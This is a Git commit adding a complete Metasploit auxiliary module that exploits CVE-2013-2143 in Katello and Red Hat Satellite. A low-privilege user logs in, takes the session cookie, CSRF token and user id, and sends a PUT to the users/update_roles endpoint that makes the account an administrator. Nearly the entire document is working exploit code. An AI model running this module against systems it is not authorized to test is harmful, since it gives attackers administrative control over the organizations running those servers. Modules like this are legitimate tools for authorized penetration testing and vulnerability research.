Skip to content

Commit 473f745

Browse files
committed
Add katello_satellite_priv_esc.rb
This module exploits a missing authorization vulnerability in the "update_roles" action of "users" controller of Katello and Red Hat Satellite (Katello 1.5.0-14 and earlier) by changing the specified account to an administrator account.
1 parent 0c3a535 commit 473f745

File tree

1 file changed

+149
-0
lines changed

1 file changed

+149
-0
lines changed
Lines changed: 149 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,149 @@
1+
##
2+
# This file is part of the Metasploit Framework and may be subject to
3+
# redistribution and commercial restrictions. Please see the Metasploit
4+
# web site for more information on licensing and terms of use.
5+
# http://metasploit.com/
6+
##
7+
8+
require 'msf/core'
9+
10+
class Metasploit4 < Msf::Auxiliary
11+
12+
include Msf::Exploit::Remote::HttpClient
13+
14+
def initialize
15+
super(
16+
'Name' => 'Katello (Red Hat Satellite) users/update_roles Missing Authorization',
17+
'Description' => %q{
18+
This module exploits a missing authorization vulnerability in the
19+
"update_roles" action of "users" controller of Katello and Red Hat Satellite
20+
(Katello 1.5.0-14 and earlier) by changing the specified account to an
21+
administrator account.
22+
},
23+
'Author' => 'Ramon de C Valle',
24+
'License' => MSF_LICENSE,
25+
'References' =>
26+
[
27+
['CVE', '2013-2143'],
28+
['CWE', '862'],
29+
],
30+
'DisclosureDate' => 'Mar 24 2014'
31+
)
32+
33+
register_options(
34+
[
35+
Opt::RPORT(443),
36+
OptBool.new('SSL', [true, 'Use SSL', true]),
37+
OptString.new('USERNAME', [true, 'Your username']),
38+
OptString.new('PASSWORD', [true, 'Your password']),
39+
OptString.new('TARGETURI', [ true, 'The path to the application', '/']),
40+
], self.class
41+
)
42+
end
43+
44+
def run
45+
print_status("Logging into #{target_url}...")
46+
res = send_request_cgi(
47+
'method' => 'GET',
48+
'uri' => normalize_uri(target_uri.path, 'user_session', 'new'),
49+
'vars_get' => {
50+
'username' => datastore['USERNAME'],
51+
'password' => datastore['PASSWORD']
52+
},
53+
)
54+
55+
if res.nil?
56+
print_error('No response from remote host')
57+
return
58+
end
59+
60+
if res.headers['Location'] =~ /user_session\/new$/
61+
print_error('Authentication failed')
62+
return
63+
else
64+
session = $1 if res.headers['Set-Cookie'] =~ /_katello_session=(\S*);/
65+
66+
if session.nil?
67+
print_error('Failed to retrieve the current session')
68+
return
69+
end
70+
end
71+
72+
print_status('Retrieving the CSRF token for this session...')
73+
res = send_request_cgi(
74+
'cookie' => "_katello_session=#{session}",
75+
'method' => 'GET',
76+
'uri' => normalize_uri(target_uri.path, 'dashboard')
77+
)
78+
79+
if res.nil?
80+
print_error('No response from remote host')
81+
return
82+
end
83+
84+
if res.headers['Location'] =~ /user_session\/new$/
85+
print_error('Authentication failed')
86+
return
87+
else
88+
session = $1 if res.headers['Set-Cookie'] =~ /_katello_session=(\S*);/
89+
90+
if session.nil?
91+
print_error('Failed to retrieve the current session')
92+
return
93+
end
94+
end
95+
96+
if res.headers['Location'] =~ /user_session\/new$/
97+
print_error('Failed to retrieve the user id')
98+
return
99+
else
100+
csrf_token = $1 if res.body =~ /<meta[ ]+content="(\S*)"[ ]+name="csrf-token"[ ]*\/?>/i
101+
csrf_token = $1 if res.body =~ /<meta[ ]+name="csrf-token"[ ]+content="(\S*)"[ ]*\/?>/i if csrf_token.nil?
102+
103+
if csrf_token.nil?
104+
print_error('Failed to retrieve the CSRF token')
105+
return
106+
end
107+
108+
user = $1 if res.body =~ /\/users.(\d+)#list_search=#{datastore['USERNAME']}/
109+
110+
if user.nil?
111+
print_error('Failed to retrieve the user id')
112+
return
113+
end
114+
end
115+
116+
print_status("Sending update-user request to #{target_url('users', user, 'update_roles')}...")
117+
res = send_request_cgi(
118+
'cookie' => "_katello_session=#{session}",
119+
'headers' => {
120+
'X-CSRF-Token' => csrf_token
121+
},
122+
'method' => 'PUT',
123+
'uri' => normalize_uri(target_uri.path, 'users', user, 'update_roles'),
124+
'vars_post' => {
125+
'user[role_ids][]' => '1',
126+
}
127+
)
128+
129+
if res.nil?
130+
print_error('No response from remote host')
131+
return
132+
end
133+
134+
if res.headers['X-Message-Type'] =~ /success$/
135+
print_good('User updated successfully')
136+
else
137+
print_error('Failed to update user')
138+
end
139+
end
140+
141+
def target_url(*args)
142+
(ssl ? 'https' : 'http') +
143+
if rport.to_i == 80 || rport.to_i == 443
144+
"://#{vhost}"
145+
else
146+
"://#{vhost}:#{rport}"
147+
end + normalize_uri(target_uri.path, *args)
148+
end
149+
end

0 commit comments

Comments
 (0)